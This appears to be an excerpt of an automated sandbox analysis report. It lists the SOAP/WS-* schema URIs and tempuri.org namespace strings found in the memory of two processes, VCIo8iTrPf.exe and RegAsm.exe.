Source: VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust
Source: VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust/PublicKey
Source: VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust/SymmetricKey
Source: VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/06/addressingex
Source: RegAsm.exe, 0000000B.00000002.3526374520.0000000002B20000.00000004.00000800.00020000.00000000.sdmp, VCIo8iTrPf.exe, 00000011.00000002.3014501020.00000000031B1000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002C81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing
Source: RegAsm.exe, 0000001F.00000002.3201717209.0000000002C81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/fault
Source: RegAsm.exe, 0000000B.00000002.3526374520.0000000002B20000.00000004.00000800.00020000.00000000.sdmp, VCIo8iTrPf.exe, 00000011.00000002.3014501020.00000000031B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/faultp9
Source: RegAsm.exe, 0000000B.00000002.3526374520.0000000002B20000.00000004.00000800.00020000.00000000.sdmp, VCIo8iTrPf.exe, 00000011.00000002.3014501020.00000000031B1000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002C81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
Source: VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat
Source: VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Aborted
Source: VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Commit
Source: VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Committed
Source: VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Completion
Source: VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Durable2PC
Source: VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepare
Source: VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepared
Source: VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/ReadOnly
Source: VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Replay
Source: VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Rollback
Source: VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Volatile2PC
Source: VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/fault
Source: VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor
Source: VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContext
Source: VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContextResponse
Source: VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/Register
Source: VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/RegisterResponse
Source: VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/fault
Source: RegAsm.exe, 0000000B.00000002.3526374520.0000000002B20000.00000004.00000800.00020000.00000000.sdmp, VCIo8iTrPf.exe, 00000011.00000002.3014501020.00000000031B1000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002C81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm
Source: RegAsm.exe, 0000000B.00000002.3526374520.0000000002B20000.00000004.00000800.00020000.00000000.sdmp, VCIo8iTrPf.exe, 00000011.00000002.3014501020.00000000031B1000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002C81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/AckRequested
Source: RegAsm.exe, 0000000B.00000002.3526374520.0000000002B20000.00000004.00000800.00020000.00000000.sdmp, VCIo8iTrPf.exe, 00000011.00000002.3014501020.00000000031B1000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002C81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequence
Source: RegAsm.exe, 0000000B.00000002.3526374520.0000000002B20000.00000004.00000800.00020000.00000000.sdmp, VCIo8iTrPf.exe, 00000011.00000002.3014501020.00000000031B1000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002C81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequenceResponse
Source: RegAsm.exe, 0000000B.00000002.3526374520.0000000002B20000.00000004.00000800.00020000.00000000.sdmp, VCIo8iTrPf.exe, 00000011.00000002.3014501020.00000000031B1000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002C81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/LastMessage
Source: RegAsm.exe, 0000000B.00000002.3526374520.0000000002B20000.00000004.00000800.00020000.00000000.sdmp, VCIo8iTrPf.exe, 00000011.00000002.3014501020.00000000031B1000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002C81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/SequenceAcknowledgement
Source: RegAsm.exe, 0000000B.00000002.3526374520.0000000002B20000.00000004.00000800.00020000.00000000.sdmp, VCIo8iTrPf.exe, 00000011.00000002.3014501020.00000000031B1000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002C81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/TerminateSequence
Source: VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc
Source: VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/dk
Source: VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/dk/p_sha1
Source: VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/sct
Source: VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust
Source: VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust#BinarySecret
Source: VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/CK/PSHA1
Source: VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Cancel
Source: VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Issue
Source: VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Nonce
Source: VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/PublicKey
Source: VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue
Source: VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT
Source: VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Cancel
Source: VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Renew
Source: VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue
Source: VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT
Source: VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Cancel
Source: VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Renew
Source: VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Renew
Source: VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/SymmetricKey
Source: VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/spnego
Source: VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/tlsnego
Source: RegAsm.exe, 0000000B.00000002.3526374520.0000000002B20000.00000004.00000800.00020000.00000000.sdmp, VCIo8iTrPf.exe, 00000011.00000002.3014501020.00000000031B1000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002C81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/dns
Source: VCIo8iTrPf.exe, 00000011.00000002.3014501020.00000000032A1000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D69000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: RegAsm.exe, 0000000B.00000002.3526374520.0000000002B20000.00000004.00000800.00020000.00000000.sdmp, VCIo8iTrPf.exe, 00000011.00000002.3014501020.00000000031B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/right/possessproperty
Source: RegAsm.exe, 0000001F.00000002.3201717209.0000000002C81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/right/possessproperty0X
Source: VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2006/02/addressingidentity
Source: RegAsm.exe, 0000000B.00000002.3526374520.0000000002A91000.00000004.00000800.00020000.00000000.sdmp, VCIo8iTrPf.exe, 00000011.00000002.3014501020.00000000031B1000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002C81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/
Source: VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/D
Source: RegAsm.exe, 0000000B.00000002.3526374520.0000000002C24000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.3526374520.0000000002BCB000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.3526374520.0000000002B20000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Ent
Source: RegAsm.exe, 0000000B.00000002.3526374520.0000000002C24000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.3526374520.0000000002BCB000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.3526374520.0000000002B20000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/
Source: RegAsm.exe, 0000000B.00000002.3526374520.0000000002C24000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.3526374520.0000000002BCB000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.3526374520.0000000002B20000.00000004.00000800.00020000.00000000.sdmp, VCIo8iTrPf.exe, 00000011.00000002.3014501020.00000000031B1000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002C81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id1
Source: RegAsm.exe, 0000000B.00000002.3526374520.0000000002C24000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.3526374520.0000000002BCB000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.3526374520.0000000002B20000.00000004.00000800.00020000.00000000.sdmp, VCIo8iTrPf.exe, 00000011.00000002.3014501020.00000000031B1000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002C81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id10
Source: RegAsm.exe, 0000000B.00000002.3526374520.0000000002C24000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.3526374520.0000000002BCB000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.3526374520.0000000002B20000.00000004.00000800.00020000.00000000.sdmp, VCIo8iTrPf.exe, 00000011.00000002.3014501020.00000000031B1000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002C81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id10Response
Source: VCIo8iTrPf.exe, 00000011.00000002.3014501020.00000000032A1000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D69000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id10ResponseD
Source: RegAsm.exe, 0000000B.00000002.3526374520.0000000002C24000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.3526374520.0000000002BCB000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.3526374520.0000000002B20000.00000004.00000800.00020000.00000000.sdmp, VCIo8iTrPf.exe, 00000011.00000002.3014501020.00000000031B1000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002C81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id11
Source: RegAsm.exe, 0000000B.00000002.3526374520.0000000002C24000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.3526374520.0000000002BCB000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.3526374520.0000000002B20000.00000004.00000800.00020000.00000000.sdmp, VCIo8iTrPf.exe, 00000011.00000002.3014501020.00000000032A1000.00000004.00000800.00020000.00000000.sdmp, VCIo8iTrPf.exe, 00000011.00000002.3014501020.00000000031B1000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002C81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id11Response
Source: VCIo8iTrPf.exe, 00000011.00000002.3014501020.00000000034DB000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D69000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id11ResponseD
Source: RegAsm.exe, 0000000B.00000002.3526374520.0000000002C24000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.3526374520.0000000002BCB000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.3526374520.0000000002B20000.00000004.00000800.00020000.00000000.sdmp, VCIo8iTrPf.exe, 00000011.00000002.3014501020.00000000031B1000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002C81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id12
Source: RegAsm.exe, 0000000B.00000002.3526374520.0000000002C24000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.3526374520.0000000002BCB000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.3526374520.0000000002B20000.00000004.00000800.00020000.00000000.sdmp, VCIo8iTrPf.exe, 00000011.00000002.3014501020.00000000031B1000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002C81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id12Response
Source: VCIo8iTrPf.exe, 00000011.00000002.3014501020.00000000032A1000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D69000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id12ResponseD
Source: RegAsm.exe, 0000000B.00000002.3526374520.0000000002C24000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.3526374520.0000000002BCB000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.3526374520.0000000002B20000.00000004.00000800.00020000.00000000.sdmp, VCIo8iTrPf.exe, 00000011.00000002.3014501020.00000000031B1000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002C81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id13
Source: RegAsm.exe, 0000000B.00000002.3526374520.0000000002C24000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.3526374520.0000000002BCB000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.3526374520.0000000002B20000.00000004.00000800.00020000.00000000.sdmp, VCIo8iTrPf.exe, 00000011.00000002.3014501020.00000000031B1000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002C81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id13Response
Source: VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D69000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id13ResponseD
Source: RegAsm.exe, 0000000B.00000002.3526374520.0000000002C24000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.3526374520.0000000002BCB000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.3526374520.0000000002B20000.00000004.00000800.00020000.00000000.sdmp, VCIo8iTrPf.exe, 00000011.00000002.3014501020.00000000031B1000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002C81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id14
Source: RegAsm.exe, 0000000B.00000002.3526374520.0000000002C24000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.3526374520.0000000002BCB000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.3526374520.0000000002B20000.00000004.00000800.00020000.00000000.sdmp, VCIo8iTrPf.exe, 00000011.00000002.3014501020.00000000031B1000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002C81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id14Response
Source: VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D69000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id14ResponseD
